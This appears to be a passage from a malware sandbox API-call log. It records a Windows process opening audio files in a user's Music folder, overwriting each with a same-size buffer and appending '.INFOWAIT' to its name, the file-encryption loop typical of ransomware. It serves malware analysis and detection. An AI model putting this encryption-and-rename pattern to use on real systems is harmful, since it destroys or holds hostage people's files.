(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\czrvi9tru5syjmcnyov.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\CZRVI9TRu5syJMCnyOV.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\czrvi9tru5syjmcnyov.wav.infowait")) returned 1 [0120.361] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.363] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.364] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\lkq3 ejt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.364] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1059 [0120.364] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.365] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.365] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1059, lpOverlapped=0x0) returned 1 [0120.369] VirtualAlloc (lpAddress=0x0, dwSize=0x1059, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.369] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.369] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1059, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1059, lpOverlapped=0x0) returned 1 [0120.369] CloseHandle (hObject=0xad0) returned 1 [0120.374] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a" [0120.374] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a.INFOWAIT" [0120.374] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\lkq3 ejt.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\Lkq3 EjT.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\lkq3 ejt.m4a.infowait")) returned 1 [0120.375] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.376] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.376] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\m3mvj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.377] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x182b3 [0120.377] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.377] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.377] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x182b3, lpOverlapped=0x0) returned 1 [0120.381] VirtualAlloc (lpAddress=0x0, dwSize=0x182b3, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.389] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.390] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x182b3, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x182b3, lpOverlapped=0x0) returned 1 [0120.390] CloseHandle (hObject=0xad0) returned 1 [0120.394] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a" [0120.394] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a.INFOWAIT" [0120.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\m3mvj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\M3mvj.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\m3mvj.m4a.infowait")) returned 1 [0120.395] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.396] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.397] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\2qdes9yweof3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.398] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x27e4 [0120.398] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.399] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.399] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x27e4, lpOverlapped=0x0) returned 1 [0120.403] VirtualAlloc (lpAddress=0x0, dwSize=0x27e4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.404] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.404] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x27e4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x27e4, lpOverlapped=0x0) returned 1 [0120.404] CloseHandle (hObject=0xad0) returned 1 [0120.406] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav" [0120.406] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav.INFOWAIT" [0120.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\2qdes9yweof3.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\2qDES9yWeof3.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\2qdes9yweof3.wav.infowait")) returned 1 [0120.407] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.408] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.409] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\gynw7lz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.409] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1062 [0120.409] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.409] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.409] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1062, lpOverlapped=0x0) returned 1 [0120.414] VirtualAlloc (lpAddress=0x0, dwSize=0x1062, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.414] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.414] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1062, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1062, lpOverlapped=0x0) returned 1 [0120.415] CloseHandle (hObject=0xad0) returned 1 [0120.419] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a" [0120.419] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a.INFOWAIT" [0120.419] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\gynw7lz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\GYnW7LZ.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\gynw7lz.m4a.infowait")) returned 1 [0120.419] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.420] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.421] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\k7cm6lvxyf9lpzi6yh2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.422] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb8fa [0120.422] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.422] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.422] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb8fa, lpOverlapped=0x0) returned 1 [0120.426] VirtualAlloc (lpAddress=0x0, dwSize=0xb8fa, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.430] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.430] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb8fa, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb8fa, lpOverlapped=0x0) returned 1 [0120.431] CloseHandle (hObject=0xad0) returned 1 [0120.438] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3" [0120.439] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3.INFOWAIT" [0120.439] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\k7cm6lvxyf9lpzi6yh2.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\k7CM6LvXyF9LPZI6yh2.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\k7cm6lvxyf9lpzi6yh2.mp3.infowait")) returned 1 [0120.439] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.440] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.441] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\nxkququ2ess.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.442] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4904 [0120.442] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.443] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.443] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4904, lpOverlapped=0x0) returned 1 [0120.463] VirtualAlloc (lpAddress=0x0, dwSize=0x4904, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.465] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.465] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4904, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4904, lpOverlapped=0x0) returned 1 [0120.465] CloseHandle (hObject=0xad4) returned 1 [0120.470] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav" [0120.470] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav.INFOWAIT" [0120.470] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\nxkququ2ess.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\nxKQUQU2ESS.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\nxkququ2ess.wav.infowait")) returned 1 [0120.471] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.472] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.473] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\p-myt-xfsgcgo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.473] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6ca7 [0120.473] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.474] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.474] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x6ca7, lpOverlapped=0x0) returned 1 [0120.477] VirtualAlloc (lpAddress=0x0, dwSize=0x6ca7, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.479] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.480] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x6ca7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x6ca7, lpOverlapped=0x0) returned 1 [0120.480] CloseHandle (hObject=0xad4) returned 1 [0120.482] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a" [0120.482] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a.INFOWAIT" [0120.482] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\p-myt-xfsgcgo.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\P-MyT-xFsgCgO.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\p-myt-xfsgcgo.m4a.infowait")) returned 1 [0120.483] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.484] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.485] PeekMessageW (in: 